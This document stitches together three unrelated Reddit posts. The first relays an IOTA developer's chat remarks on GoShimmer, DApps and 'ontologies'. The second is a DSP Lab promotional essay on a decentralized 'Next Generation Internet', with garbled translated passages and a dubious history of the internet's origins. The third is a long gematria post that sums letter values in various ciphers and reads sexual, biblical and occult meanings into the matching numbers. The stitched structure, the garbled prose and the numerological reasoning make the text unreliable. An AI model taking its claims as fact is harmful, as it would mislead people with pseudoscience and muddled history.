*** Here's to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in the square holes. The ones who see things differently. They're not fond of rules. And they have no respect for the status quo. You can quote them, disagree with them, glorify or vilify them. About the only thing you can't do is ignore them. Because they change things. They push the human race forward. And while some may see them as the crazy ones, we see genius. Because the one who are crazy enough to think they can change the world are the ones who do. *** from 'think different' ad campaign

TCP/IP
TCP/IP, or the Transmission Control Protocol/Internet Protocol, is a suite of communication protocols used to interconnect network devices on the internet.
TCP/IP specifies how data is exchanged over the internet by providing end-to-end communications that identify how it should be broken into packets, addressed, transmitted, routed and received at the destination.

DAPP
DApp is an abbreviated form for decentralized application.
A DApp has its backend code running on a decentralized peer-to-peer network. Contrast this with an app where the backend code is running on centralized servers.

Ontology
a set of concepts and categories in a subject area or domain that shows their properties and the relations between them.

Hans Moog [IF]어제 오후 9:00
[about the release of GoShimmer v0.2.0?]
Originally we wanted to release the new version end of next week but due to the hack this might be a bit delayed
but yeah we have a pretty concrete plan
the next version will be pretty interesting as it will introduce the changes that will turn IOTA into a general purpose DLT platform that can run pretty much anything that is even remotely related to DLT on it
I will write a bit more about that when there is time (maybe even do a video)

Hans Moog [IF]어제 오후 9:02
value transfers will essentially be the first DAPP that runs on the tangle
so we need that before we can integrate the ledger

Hans Moog [IF]어제 오후 9:04
[are you talking about the atomic transaction layout?]
not just that
also a different layered architecture which we call "the ontologies concept"
but its one of the building blocks yeah
tangle will essentially be like the decentralized version of TCP/IP
a general purpose protocol
once value transfers are implemented I have already a few interesting ideas for additional DAPPS
Coordicide is pretty "complex" as it requires a lot of different protocols - being able to completely separate the building blocks makes it much easier to get them "secure"

Hans Moog [IF]어제 오후 9:08
the decentralized randomness required for FPC will for example be an app running on the tangle
DRAND App

Hans Moog [IF]어제 오후 9:14
[about the new ontologies concept]
It's not really layed out in a public forum post yet but we discussed and finalized the specs on the last research summit last week

Hans Moog [IF]어제 오후 9:19
[isn't this new ontology almost like part of multiverse consensus?]
yes
a lot of the idea that were part of the original multiverse concepts are useful also for the current coordicide
we will for example be able to separate the fate of data transactions and value transactions, which means that you can send data txs without having to be worried that they are rejected, because they attach to a double spend,
which is a requirement for a general purpose protocol anyway

Hans Moog [IF]어제 오후 9:20
[that sounds awesome!! To have a "base" tangle, and on this base tangle different "subtangles" for different applications - value transfers, DRAND, messaging, ...]
Archiving, DRAND, chat, MAM, DID, ...
you could even have phone calls on the tangle

Hans Moog [IF]어제 오후 9:21
but i guess for these kind of things it makes more sense to have a 1:1 connection
its extremely simple
the point is that it makes the code much simpler

Hans Moog [IF]어제 오후 9:22
you can even have different consensus mechanisms next to each other for different apps
some apps like decentralized chats for example don't even need consensus
or if you want to build a decentralized version of facebook

Hans Moog [IF]어제 오후 9:22
you don't need consensus here
and it not going to be "separate tangles" that have nothing to do with each other
everything runs in the same main tangle

Hans Moog [IF]어제 오후 9:30
it's not very complex - that's the beautiful thing
in fact it makes stuff much easier

Hans Moog [IF]어제 오후 9:31
Maybe I can do a video about it in the coming days
writing a network application if you can use TCP/IP is much easier than if you would have to implement the networking from scatch and communicate with the wires in your pc

Hans Moog [IF]어제 오후 9:39
**[**Is the "base decentralized TCP/IP layer" already spec out and ready to be implemented? As this will become the "heart" of the tangle.]
yep
its coded already
we started merging the code

Hans Moog [IF]어제 오후 9:44
[Doesn't "DRNG via committee" still make the network somewhat centralized?]
Not really.
1. The committee members do not "control" consensus.
2. If committee members get taken offline by for example government intervention, then the next highest mana holder just joins the committee.
So you still maintain all the benefits of a decentralized network.
resilience against outside actors, no single actor controls the system

Hans Moog [IF]어제 오후 9:46
[How does commitee get chosen, by who, which parameters?]
as the first version of goshimmer we will most probably have a fixed committee of some IF nodes + selected community members, but in the final protocol, the highest mana nodes will just issue a randomness beacon according to the protocol
so the committee is dynamic

Hans Moog [IF]어제 오후 9:47
[Does commitee agree on the same number and then broadcast it or...?]
If I am informed correctly, then its based on threshold signatures
But I didn't work on that part, so I am not 100% sure how exactly it works
its a bit hard to keep track of everything and also code at the same time

Hans Moog [IF]어제 오후 9:47
we have a few teams in the research department where every team specs one of the building blocks for engineering

Hans Moog [IF]어제 오후 9:49
[You know perhaps if this drand stuff has been coded already as well?]
yeah, but don't ask me in which branch

Hans Moog [IF]어제 오후 9:49
and it will be adjusted to the new ontologies concepts

Hans Moog [IF]어제 오후 9:50
[isn't this approach with DAPPs similar to ICT and IXIs?]
in a way, yes but its a bit more powerful now, as the DAPPS are completely isolated and "rejecting" transactions in one app does not cause all of the transactions that approve it to be rejected
in IXI and ICT a chat message would disappear if it approved a double spend

Hans Moog [IF]어제 오후 9:56
[if Jaguar would implement a new DAPP with a "new coin" on the tangle with a custom DAPP consensus mechanism?]
yeah you could create new coins on top of the tangle with their custom consensus mechanism
but every one of these new coins would need to be able to also understand IOTA transfers
and the nodes would ultimately have to have mana to be able to take part in the network
so if somebody would for example implement bitcoin on top of the tangle, then the bitcoin miners would need to buy IOTA to be able to send messages in the network
We will most probably see a lot of companies also build proprietary stuff on the tangle
you can even have "private" apps on the tangle
that are encrypted
so you can have stuff that would require a "private inhouse blockchain" to use the global infrastructure of the tangle
its extremely powerful

Hans Moog [IF]어제 오후 9:59
[making a "new coin" that is private like monero on the basis of the tangle - using a private DAPP? Crazy powerful!]
yeah you can have a "privacy coin" on top of the tangle
that is maybe not as fast and scalable as IOTA itself and might even have fees

Hans Moog [IF]어제 오후 9:59
but if people are willing to pay for this extra service then you can have private transactions without having to "leave" the ecosystem
and without having to give up scalability for the IOTA base layer

Hans Moog [IF]어제 오후 10:05
[Crazy powerful!
and everything would need IOTAs...
Qubic and Oracles would also be a base DAPP on this tangle ...]
exactly

Hans Moog [IF]어제 오후 10:08
[So if i understand correct, other coins on the Tangle would not have a negative impact on the value of the IOTA. Even the other way around.****]
IOTA would always be the native coin which would be the fastest and most secure one, yeah
if there would ever be a coin that would be faster and more secure, then it would make sense to implement that in IOTA core

Hans Moog [IF]어제 오후 10:10
[so no transaction will be rejected anymore from the base tangle layer? In the worst case - if in every DAPP consense mechanism this transaction would be rejected, because of double spend or not useful for this DAPP - it is just seen as data transaction?!]
yeah more or less
you might still have to reattach a value transfer rare edge cases (if your node is out of sync or sth) but you will never have to reattach a "non-value-transfer"
or well ...
if you attach sth to a part of the tangle that is really old and everybody has snapshotted that already then you would still have to reattach
but a tx does not "depend" on other apps anymore
so if 1 app says its bad and we want to orphan it, then this happens on another layer

Hans Moog [IF]어제 오후 10:16
[So weaker nodes may work without ledger, like just a hub?]
nah you always need to support iota value transfers for the rate control

Hans Moog [IF]어제 오후 10:16
[because of the mana?!]
but a node that is not interested in the decentralized facebook and only wants to process MAM messages can do so
yeah mana is the thing that ties everything together and to know the mana you need to know IOTA value transfers
I mean ... you could rely on a centralized service that provides you the mana balances, so even very hardware-constraint nodes could theoretically take part in the network
but then you might process a few txs that others drop if this centralized service would give you the wrong balances
but the whole point of IOTA is to be shardable and lightweight
so you wont need much for the value transfer layer anyway

Hans Moog [IF]어제 오후 10:21
[Have you ever thought about how much storage (permanode) you need if IOTA becomes the new TCP/IP ?]
but if you want to only "issue" transactions and receive your mana by people assigning it to you (i.e. a company remotely loading up their sensors with mana), then you can essentially do that.
one of the first applications I will implement is an "archiving APP" that records the activity in the tangle and allows you to "prove" that a certain tx was part of the tangle at some point in the past.
recording 100 years of activity in the tangle (independently of the TPS) will require less than 1 GB
much less actually
the magic of merkle trees

Hans Moog [IF]어제 오후 10:23
[of all transactions of every DAPP?]
yes
everything that ever happened in the tangle

Hans Moog [IF]어제 오후 10:25
[Is the sharding the ontology concept ]
nah its not related
or well everything is somehow related but these APPS are not the "shards"

Hans Moog [IF]어제 오후 10:33
its an essential part of coordicide - this is the next step before integrating the value transfers
so next major version of goshimmer
2-3 weeks max

Hans Moog [IF]어제 오후 10:36
[Nice, so value transfers will probably be implemented till the end of march]
that's the plan, yeah
might be like 1-2 weeks late now due to the hack but we will see
we try our best to catch up after this is sorted out

Hans Moog [IF]오늘 오전 2:24
[so next goshimmer version will be binary too!!!]
yes, I think the next (major) goshimmer version will bring a few of the most fundamental changes in how we perceive the protocol as a whole
not just binary <-> tinary but also regarding its "expressiveness"
and it's really funny because it is essentially just a slight shift of perception regarding the already established principles, that interestingly directly converts into better architecture and simpler code
submitted by btlkhs to Iota [link] [comments]

This Is What The Next Generation Internet Should Look Like

This Is What The Next Generation Internet Should Look Like

https://preview.redd.it/vmlqzhaijhz41.jpg?width=3000&format=pjpg&auto=webp&s=fddbbddb1b4cbabfedca4bdb330177f4ea01418c
Before this thing called the Web was born, there was an era when the Internet was invented in the 1970s, at the peak of the Cold War between the United States and the Soviet Union. The United States had a central computer controlling its nuclear weapons. A single attack may paralyze the computer system, making it impossible for them to fight back. Therefore, the US government has established a decentralized system that allows many computers to be distributed throughout the country. If an attack occurs, the defense system will continue to operate to ensure that the two countries can destroy each other. For the Internet, this history is dark, but this is also the origin of decentralized thinking. Then, in 1990, Tim Berners-Lee created the Web. The Web is one of the earliest applications on the Internet. It enables people to obtain information more efficiently. However, it is a relatively specialized tool, mainly used by researchers and students. But then it soon changed. With the popularization of software tools, the Web has gradually entered the eyes of ordinary people.

Web Prototype
Browsers like Microsoft Internet Explorer brought the web to the public's perspective five years later. Everyone can start surfing the Internet. Although the web design was very bad at that time, the connection method was dial-up Internet access. It took a long time to download a photo, not to mention downloading a video. This is what the web prototype looks like
The beginning of the Web is decentralized to some extent, it is driven by the most common computers. There is a photo of Tim‘s computer with a sticker that says Do Not Shut Down, because this computer provides the Internet with power.
The beginning of the Web was open source, which means anyone can freely build on this basis, which enables the establishment and development of enterprises like Google and Amazon.
The web is initially read-only, people just read data from the network, and do not perform input operations on the network.

Classical Internet
All this changed around 2005. Youtube, Facebook, Twitter, and other new websites brought the current Web world, also known as the classical Internet.
This is the first time anyone can publish content online without the need to understand any computer technology that is too professional. Facebook, YouTube and Twitter are all ways for people to create their own web, which directly determines the result of today's large-scale popularization of the web.
Since then, people have begun to see problems with these new websites. Although they make our online life more convenient, they slowly build walled gardens on the open web. We started to deviate from the Web of most early vision. At the same time, computers that used to power the web have gradually evolved into centralized data centers that provide computing power on these platforms. Later, the development of smartphones has accelerated this phenomenon. We access the web through various portable devices to obtain and transmit a large amount of information. Unfortunately, quoting Tony Aube's previous evaluation of today's network, today's Web has collapsed. Now it is like a giant baby. It is already aging before it has experienced sufficient growth. Over the past decade, Internet-based services have tended to be centralized. As the network matures, we gradually tend to rely on a few companies. Google provides the fastest and most convenient search service, gaining 74% control of search traffic. Facebook built the largest social network and gained control of the online identity of 2.2 billion people. Although most people feel that they are enjoying various free Internet services, in fact, free things are often the most expensive. All these services are based on the possession and utilization of the most precious resources of the Internet, and that is data.
As early as when the network was first launched, it had no native way to deliver value. People are very cautious about using bank cards online. The best way to make money online is to provide free services and make money through advertising. In such a way that let individual users have been using the free service, and later to make more accurate advertising push, advertising services company gave birth to birth, they open the default web advertising business, while at the same time there are a variety of ad blocker After being born, advertising service providers will also use freely collected user information and network behavior information to conduct user analysis and push advertisements through improved inducement operations. Sometimes he does not hesitate to use false news and other means. The network environment has gradually become dirty, and the cost of obtaining effective information has been gradually increased by advertising.
The problem of advertising is only one of the manifestations of data occupation and utilization by centralized organizations. Many more serious problems are gradually revealed and gradually paid attention to, including user data loss, personal data leakage, user behavior data is monitored, and data over-censorship Problems, etc. Every day, every day is not performed in every corner of the world. The entire network world urgently needs a re-upgrade to solve the increasingly serious problem of centralized data.
Next Generation Internet (NGI)
The classical Internet was gradually formed after people discovered changes in the Web, as the ideas of the classical Internet spread, inevitable problems have arisen, what will Web3.0 look like. At that time, people had a lot of conjectures. People guessed that Web3.0 would be an artificial intelligence web or a virtual reality web. Although we think these are exciting technologies, we don't think they will redefine the web.
Last year, there was a large conference called NGI Summit. In the conference, just like the discussion of Web 2.0, the clear information obtained through the discussion of a large number of engineers and researchers is: NGI is to return to the decentralized network
In fact, with the emergence of these problems in today's Internet world, a series of seemingly unrelated technologies are also developing on the edge of the technology industry, such as cryptocurrency, blockchain, and distributed storage. NGI is more like a synonym for a better vision of the Internet in the future.
NGI is different from the previous generation of internet transformation. The core of NGI is not speeding, performance, or convenience. The actual on many NGI applications compared with today's applications, but also very slow, not convenient.
NGI is about ownership and control. It matters who controls the technology and our daily applications, and who owns the data and files generated on the network. It is breaking the momentum that has shaped the network for nearly a decade: the balance between convenience and ownership. We are used to this motivation and take everything for granted: using the network means being monitored, and using the social network means that we give personal data to the platform. How could there be other ways? But NGI refused to accept that it believed that people could benefit from the Internet, but there was no need to hand over data control to a few companies. The power is not above the iron law of the universe, it's just a product of the circumstances of technology, we are in the process to make a choice. NGI is a movement, which aims to build a different technology to make better choices. NGI is not trying to replace the network but to change the underlying architecture while keeping things we like—reform, not revolution. NGI is a set of technologies aimed at reconstructing Internet control rights. These include financial projects (crypto currencies), basic communication technologies (end-to-end encrypted information transfer), mass consumer scenarios (open social networks, p2p markets), and key Internet data file infrastructure (decentralized DNS and distributed storage). NGI should include any technology that is conducive to changing Internet centralization and allowing users to gain control of digital life. Currently, there are many solutions for decentralized computing power, but decentralized storage capacity is still not strong and perfect. Because only if it implements the calculation decentralized and storage decentralized, to truly achieve NGI vision of truly decentralized applications and services, and for user data to truly returned to the user by the user's control.
What should decentralized applications and services look like
In the NGI network, we should be able to create products and services that are not controlled by any company, but these products and services can still reach the level of centralized companies. Just like Bitcoin, these products are decentralized, although the degree of decentralization necessary for any product and the benefits it may bring will be very different.
For example, what might a decentralized video sharing platform look like, it would be similar to YouTube that allows users to share video content, comments, thumbs up, and so on. The platform encourages users to contribute through the built-in incentive mechanism. Users can not only “like” the video, but they can also make a small payment or charge a certain fee for the content creator through the copyright distribution control of the network protocol, without having to consider twists way to perform fan monetization. Even if it only costs a few cents for each like, it is still better than traditional centralized video platforms, because, on these platforms, the creator ’s revenue per million views is only a few thousand dollars, On the decentralized platform, there is no middleman's fee, users can directly use peer-to-peer transactions.
The core rules governing decentralized services are defined by open-source agreements. Users use the client of their choice to interact with the protocol. In other words, there will be various apps, but all are connected to the same video network. These clients can provide different functions, but all comply with the same sharing protocol, similar to email clients using the same initial standards. Developers do not need to apply for a license from any centralized organization. They can build their products without worrying about API access being blocked on a certain day. Because no company can turn it off. These are all benefits that a decentralized network has not yet fully recognized. Of course, the products and services created by centralized companies will still be used, but it will only prompt these companies to reduce the control of data and gradually return control to users. Early Internet companies promise " do not BE Evil" For Web3.0 who will have to ensure that the " CAN ' t BE Evil ".
What does it mean for users to control data?
Today, most user data are controlled by a centralized company, whether it is identity data, stored file data, or user behavior data.
In NGI, users will have maximum control over their data. First of all, users can completely use their own identities, rather than the identities provided by third parties, which limits the opportunities for various centralized providers to obtain user identity data. For example, one day you are not satisfied with the service of a chat app and want to switch to other social platforms, then all these data should be able to be taken directly by the user and migrated. You don't even need any help from any intermediate agency. Secondly, based on the construction of a decentralized storage network protocol, when you use social media, video media, rental housing, car rental, and other services, there will be no centralized data storage center to deposit your data and sell it. The reason why these companies collect user data is that these data have great value. In the NGI network, users will get the value of these data. If users want to sell their data, they will directly receive revenue instead of centralized companies. As people try to reform the ownership mechanism of data assets, the production and cooperation relations of the entire network will change substantially.
Currently, even with the existence of IPFS, a distributed storage protocol that has been developed for several years, the problem of decentralization of data has not been solved, and real commercial purposes cannot be achieved. Most Dapps are currently only decentralized services. So, when distributed storage can run on a large scale and stable, it may be when NGI can enter the public eye. It is also positive that DSP Lab (Distributed Storage Protocol Lab ) reasons for coming, it is the next generation of internet-based facilities will be file-based data encryption, distribution, storage, sharing some of the columns of the new generation of Internet paradigm to support from NGI Required distributed storage protocol.
Although NGI still has a lot of uncertainties, it also faces many problems that need to be solved. But NGI is still the most anticipated future. Blockchain technology is not an end in itself. They only have value if they solve the problem. NGI allows us to face and solve this problem again: The Internet has become too centralized, and it needs to be open.
NGI will not stop developing because of a certain technology development bottleneck or technical bottleneck. We can use the knowledge system used in the past years to continue to build these better and newer system versions.
NGI is not nothingness, nor utopia, nor can it escape from reality. The current internet also has various human problems. Politics, rights, and control have not disappeared due to the invention of the Internet. What can be determined in NGI is that it contains a design that restricts rights and controls. We have a second chance to build the Internet, but we may not have a third time, so let us take advantage of it and look forward to its arrival.

Find us:
Facebook: https://www.facebook.com/DSP-Labs-110430797334480
Twitter: https://twitter.com/DSP\_Labs
Telegram: t.me/DSP_Official
Wechat: DSPLabs

https://preview.redd.it/kbd1u851lhz41.jpg?width=180&format=pjpg&auto=webp&s=4f55c298868baee393384bc0c303862c4f539a7a
submitted by DSP-Lab to u/DSP-Lab [link] [comments]

1234

[ 🎶 Thinking Cap ] This post is framed around results of cypher-based queries for the number 1234 against my custom lexicon files built up over a year of phrase inputs (mostly gleaned from newspaper headlines and their 'quoted phrases', or stream of conciousness inspired by them). There are not very many, but the few there are appear to be instructive. I have used some repetition to aid those with trouble remembering numbers. Perhaps NSFW. (For the confused: see here, here and here)
If you are brand new to this collection of scrolls, I recommend reading (as much as you can of) this before returning here, which will help to justify my particular focus below (the belt).
Did you gnow A=1?
There are 26 letters in the English-Latin Alphabet.
The basic alphabetic gematria code acknowledges that A=1, B=2, C=3, ..., Z=26 (ie. ordinal gematria).
In this basic alphabetic cypher (which is implied if I do not specify):
If you flip the numeric ordering about (ie. look in the mirror: treat 'Z' as 1, down to 'A' as 26), then...
This ("The ABC") is the name of the earliest alphabet primer textbooks for kids.
The first church primers paralleled the introduction of school textbooks known as “the ABC”
The Alphabet is a vessel for messages:
If, instead of the basic alphabetic ordinal cyphers above, we use another cypher some call Agrippa's Key, and some call the 'jewish cipher', which is based on the ancient Hebrew and Greek gematria charts, and maps that scheme to the Latin Alphabet, we can ask a catch-phrase question (written more formally than usual)
What's in a name?
Indeed:
Here we move beyond the three steps of ABC and arrive at the Door of Dalet. Behind it, if we have the write keys, we might discover...
The results of...
Itself the result of...
... of the Masters of the Ages.
Or not.
Many folks shun numbers:
  • "Obnoxious" = 1234 trigonal
  • ... ("number" = 73 = "crazy" ... but "perfect" = "count" = 73)
  • "The Great Learning" = 1234 trigonal
  • ... "Great Knowledge" = 1234 jewish-latin-agrippa
  • ... ( "Great Knowledge" = 449 primes (*) )
  • ... ( .. ... "Mental Contact" = 449 primes )
  • ... ( .. .. "Population" = 449 primes )
  • "Silence is Golden" = 449 primes (ie. Hush in the Library)
  • "Great Knowledge" = 1234 jewish-latin-agrippa
  • ... "Forbidden Word" = 1234 jewish-latin-agrippa
  • ... .. .. ( "Silence is Golden" = 449 primes )
  • "My Call of Duty" = 1234 jewish-latin-agrippa
  • ... "Great Knowledge" = 1234 jewish-latin-agrippa
  • .. ... .. "What is in a name?" = 1234 jewish-latin-agrippa
  • "Silent Warrior" = 1234 english-extended
  • ... ( "Rain" = 322 trigonal ) ( "Number" = 73 alphabetic; "Jake" = "Bard" = 73 primes )
  • ... ( .. "Counting" = 322 trigonal ) ( "Count" = 73 = "Perfect" = "Number" )
  • ... ( .. "To Know" = 322 trigonal ) ( "The Mind" = 73 = "Count" = "Number" )
  • ... ( .. "The Proof" = 322 trigonal )
  • ... ( .. .. "Final Proof" = 322 jewish-latin-agrippa )
Genesis 3:22 (KJV Bible)
And the Lord God said, Behold, the man is become as one of us, to know good and evil: and now, lest he put forth his hand, and take also of the tree of life, and eat, and live for ever:
  • "To Know" = 322 primes
  • "A Magic Number" = 322 primes
  • .. .. ... "Magician" = 322 trigonal
Make it ...
  • "Rain" = 322 trigonal
... for the ...
  • "Girl" = 322 trigonal
Thor and Jane meet again: https://www.youtube.com/watch?v=E0HzpZAgAwY
  • "Full Name" = 322 jewish-latin-agrippa (ie. Count it! ... but you are fool to reveal it)
  • ... .. .. ( "What is in a name?" = 1234 jewish-latin-agrippa )
  • .. .. ... ( ... https://forgottenrealms.fandom.com/wiki/True_name )
  • . .. ... "Counting" = 322 primes
  • ... .. "Count" = 393 jewish-latin-agrippa
  • .. . "Accurate" = 393 primes
  • . "Accountancy" = 393 primes
  • "Counting" = 322 primes
  • "Full Name" = 322 jewish-latin-agrippa
  • ... ( "A Magic Number" = 322 primes )
  • "What is in a name?" = 1234 jewish-latin-agrippa
  • ... "Great Knowledge" = 1234 jewish-latin-agrippa
  • ... .. .. "The Spells of Eden" = 1234 trigonal
The Fruit of the Tree of Knowledge...
  • "Great Knowledge" = 449 primes
  • "Sex Education" = 449 primes
  • ... ( building "Population" = 449 primes )
...And they knew they were naked (ie. eyes opened):
  • "Shame On You" = 1234 trigonal
  • ... "The First Day" = 1234 trigonal
  • ... .. .. "The Spells of Eden" = 1234 trigonal
  • "Sex Education" = 1337 english-extended (ie. Elite codes)
  • "The Spells of Eden" = 1234 trigonal
  • ... "Great Knowledge" = 1234 jewish-latin-agrippa
  • ... .. .. "The Great Learning" = 1234 trigonal
  • .. .. ... "A Great Work" = 1234 jewish-latin-agrippa
  • ... "Speak Loud and Clear" = 1234 trigonal
  • ... .. "Water out!" = 1234 trigonal (ie. 'The Number' ~= 'Pregnant' ~= 'A Baby')
  • ... .. .. "The Spells of Eden" = 1234 trigonal (ie. spell-casting -> spillage -> spoil it)
Serpents, and Tower of Babylon:
  • "What is in a name?" = 1234 jewish-latin-agrippa
  • ... "The Unpatchable Code" = 1234 trigonal (DNA code; written language, (relatively) hard to change)
  • ... .. .. "The Spells of Eden" = 1234 trigonal
  • .. .. ... "The One Source" = 1234 trigonal
  • .. .. ... .. "The Duration of One Year" = 1234 jewish-latin-agripa
  • ... .. .. ... .. "The Source" = 365 primes (ie. days in a year, solar orbit)
ie. Matrix Code - Mother Code Pregnancy Procedure and Cascading Responsibility.
  • "My little Pony" = 1234 jewish-latin-agrippa
If you're lucky:
  • "Birth of Twins" = 1234 english-extended
ie. quantum-entanglement: you cannot give birth to your first alphabetic Son, a strong boy named Aleph, and deny he is '1'. You cannot have your second child, a beautiful maiden, Beth, and deny she is '2'.
Animals on the ark 2 by 2. You cannot order the alphabet, and deny the letters have ordinal indexes (ie. numbers associated with them - significant others)
  • "Boat" = 123 primes
To travel down...
  • "Denial" = 123 primes ...is as easy as ABC.
Again, many folks shun numbers:
Obstetrics is the field of study concentrated on pregnancy, childbirth, and the postpartum period. As a medical specialty, obstetrics is combined with gynaecology under the discipline known as obstetrics and gynecology (OB/GYN) which is a surgical field.
  • "Obnoxious" = 1234 trigonal
  • ... "The Number" = 333 primes
  • ... "Unspeakable" = 333 primes
  • ... "The Unspeakable Number" = 666 primes
  • .
  • "Counting" = 322 primes
  • "Magician" = 322 trigonal
  • ... "Magician" = 156 primes
  • ... "Apple" = 156 primes
  • ... ( the 156th prime number is 911 )
  • ... ( ... "Divine Feminine" = 911 jewish-latin-agrippa )
  • ... ( ... "She is a Beauty" = 911 jewish-latin-agrippa )
  • ... ( ... "Sexy Girl" = 911 jewish-latin-agrippa )
  • ... ( "The Last Proof of Life After Death" = 911 primes )
I have a spell-matching feature that can cross-match multiple cypher results and return the 'closest frequency matches' of all the spells I've ever entered into my gematria tools. At the time of writing the lexicon file is half a megabyte in size (plain text) and contains 37,694 words and phrases.
When I ask for the spellings that most closely match: "live forever", I get the following three results as top matches:
  • 'white liquid', 'into the girl', and 'the dilution' (with 8+ cypher matches)
There are a lot of flowery symbolic or metaphorical phrases that it could have returned, but it seems the Heptapods are rather blunt.
Again:
  • "Divine Feminine" = 911 jewish-latin-agrippa
  • ... .. "Sexy Girl" = 911 jewish-latin-agrippa
From...
Revelation 9:11 King James Version (KJV):
And they had a king [41] over them, which is the angel of the bottomless pit, whose name in the Hebrew tongue is Abaddon [41] , but in the Greek tongue hath his name Apollyon.
This is perhaps a dual - the Abaddon is both Father Beast (and Lord of the Harem, perhaps, given the plural 'them') and the Beastly Progeny (ie. King and Prince):
  • "Pregnant" = 333 jewish-latin-agrippa
  • "The Temple" = 333 jewish-latin-agrippa
  • ... "A Baby" = 333 trigonal
The angelic little baby, retrieved from the bottomless pit, is the apple of mommy and daddy's eyes (even though it is very naughty, ruling over their lives for many years after his or her noxious retrieval from the Underworld).
"I wonder why?" = 474 primes ( "Accountancy" = 393 primes )
  • "Numerology" = 474 primes
  • "Great Pattern" = 474 primes
  • "Object of Lust" = 474 primes ( "Deny Nature" = 419 primes )
  • "The Devil, Woman" = 474 primes (ie. Beauty and the Beast)
  • .
  • ... "The Number" = 333 primes
  • ... .. .. "A Baby" = 333 trigonal
  • "The Great Emergence" = 474 primes
  • "Population" = 449 primes
  • ... "Sex Education" = 449 primes
  • .. .. .. "Surveillance" = 449 primes
  • ("A Pornographic" = 616 englist-extended [ie. "Number" = 616 trigonal ] )
  • ("Pornographica" = 616 eng-ext [ie. "Perfect Number" = 616 jewish-latin-agrippa ] )
  • ... ("The Law" = 616 trigonal )
  • ... ("Garden of Eden" = 616 trigonal )
  • .
  • "To Know" = 322 primes
You cannot unsee it:
  • "Girl" = 322 trigonal <---- pornographic numeric hieroglyph
To each there own:
  • "Tradition" = 393 jewish-latin-agripa
  • "The Perfect Woman" = 1,393 jewish-latin-agrippa
  • "Tradition" = 393 jewish-latin-agripa
  • ... "Count" = 393 jewish-latin-agripa
  • .. .. ... "Accountancy" = 393 primes
Occult Alphabet = English Alphabet = Statistics
  • "Figures Reveal..." = 1234 trigonal
  • .... "Liberal Party" = 1234 trigonal
  • Q: .. "What Rules?" = 1234 english-extendedd
  • A: .. "Just Sign Here"* = 1234 jewish-latin-agrippa
The closest multi-cypher spectrum match against dictionary files (as described here), to the spell "One Thing" is:
  • "enduring" (with 9+ matches)
  • "Tradition" = 393 jewish-latin-agripa
  • ... "Survive" = 393 primes
  • ... .. .."Greyhound race" = 1234 trigonal
  • .. .. ... ... "The Rat Race" = 314 primes (ie. pi; commute in circles)
  • "Great Place" = 1234 square
Viva Las Vegas (ie. V.L.V ):
777 (ie. to win at slots):
  • "A Triple-Seven" = 1234 trigonal | 2,322 squares
The Boeing 777 is a premiere passenger aircraft.
The Boeing 787 is called the Dreamliner (ie "The Call" = 787 squares ... of Morpheus)
The Boeing 747 is Old Faithful, the Jumbo Jet of Time
Air Force One is a 747
  • "Air Force" = 223 primes
  • "Winds" = 223 primes
  • "Goddess" = 223 primes
  • ... "The Law" = 223 primes
  • ... "Air Force" = 223 primes
  • "Winds" = 223 primes
  • .
  • "The Law" = "Goddess" = 223 primes
She steps on "The Scale" = 223 primes ...
...and hopes she is ...
  • "Weightless" = 1234 jewish-latin-agrippa
From an old Alphabet Primer:
... He that ne'er learns his ABC,
... For ever will a Blockhead be.
... But he that learns these Letters fair,
... Shall have a Coach to take the Air.
Are you ready, Icarus?
  • "This is the deal" = 139 = "Occult Alphabet"
  • ... "Competition" = 139 = "Pyramid scheme" = "Ancient Egypt"
Mirror Mirror, upon the wall, who is the Pharaoh over all?
Extra credit:
Read about the taming of Enkidu, in the myth of Gilgamesh:
  • "The Spells of Eden" = 1234 trigonal
  • "Great Knowledge" = 1234 jewish-latin-agrippa
  • ... "Great Knowledge" = 449 primes
  • ... "Sex Education" = 449 primes | 1337 english-extended
  • ... .. .. "Prostitute" = 1234 english-extended
  • .. .. ... .. "Carnival Row" = 1234 english-extended
  • ... .. .. "Prostitute" = 1234 english-extended
  • .. .. ... ... "Presidential Golf Course" = 1234 english-extended
  • "One, Two, Three, and Four" = 227 basic alphabetic (the 'and' was for ... metrical reasons.)
  • ... ( "The Emergence" = 722 trigonal ... ie. pi and reverse pi; circles)
Q: ?
  • "A: The Emergence" = 314 primes (ie. classic Amorican pi)
  • "A: The Emergence" = 1337 squares (ie. "sex education" = 1337 english-extended)
  • "The Alphabetical Epidemic" = 1234 trigonal
  • ... "Not entirely true(?)" = 1234 jewish-latin-agrippa
Enregisterment is often partially, rather than completely, true, sort of like an accent viewed through a funhouse mirror.
I was triggered to made this post due to various recent media 'events', this 'crazy' 'news item' the final straw that broke the gimel's black (I link to old reddit theme because it is objectively better ):
Also, see recent threads:
Relevant numbers & links:
Also, perhaps relevant pings:
Disclaimer:
You might have noticed the game I've long played with the dots used for spacing and indenting lists of spells. They usually follow the pattern of:
  • ... (ie. 3, trinity, the Beatrice of the Matrix Code)
  • ... .. (ie. 32, life, Eve)
  • ... ... (ie. 33, magic, name, a life)
  • . .. ... (ie. 123, alphabetic codes, the ABC, initation)
  • ... .. . (ie. 321, countdown to church society)
  • ... .. .. (ie. 322, to know, the proof is counting)
  • .. .. ... (ie. 223, the law, chapter 1, the scale, goddess, Lucifer, the moon)
  • .. ... .. (ie. 232, scary, number, Satan)
  • ... .. ... (ie. 323, Lucifer, 1 Goddess)
  • ... .. .. ... (ie. 3223, the upward spiral, ascending the tower of babylon)
Sometimes the layout is thematically tied to the associated text.
  • . "Scary" = 232 primes
  • .. "Number" = 232 primes
  • ... "Tell All" = 232 primes
Wiki Index: https://old.reddit.com/GeometersOfHistory/wiki/index
.
EDIT:
Chinese researcher accused of trying to smuggle vials of ‘biological material’ out of US hidden in a sock
Sweeping ban on semiautomatic weapons takes effect in New Zealand
  • "The Semiautomatic Rifle" = 232 basic alphabetic
  • ... "Bullet" = 232 primes
  • ... "Scary" = 232 primes
  • ... .. .. "Number" = 232 primes
  • ... "Scary" = 232 primes
  • ... .. .. "Satan" = 232 jewish-latin-agrippa
  • .
  • "Semiautomatic Rifles" = 1776 trigonal
  • .
  • "The Semiautomatic Rifle" = 232 basic alphabetic
  • ... "Bullet" = 232 primes
  • ... "Number" = 232 primes
Bullet News Bulletsin Bullet points Bullet Bull ET Extraterrestrial Bull Bull God
  • "The Bull God" = 322 primes
.
EDIT: - moments later - :
https://old.reddit.com/occult/comments/eee131/does_anyone_know_what_this_symbol_represents_its/
Does anyone know what this symbol represents, it's familiar to me and puts of a very unique energy and I cannot place it
  • "unique energy" = 322 baconis | 522 primes ("the prime number" = 522 primes)
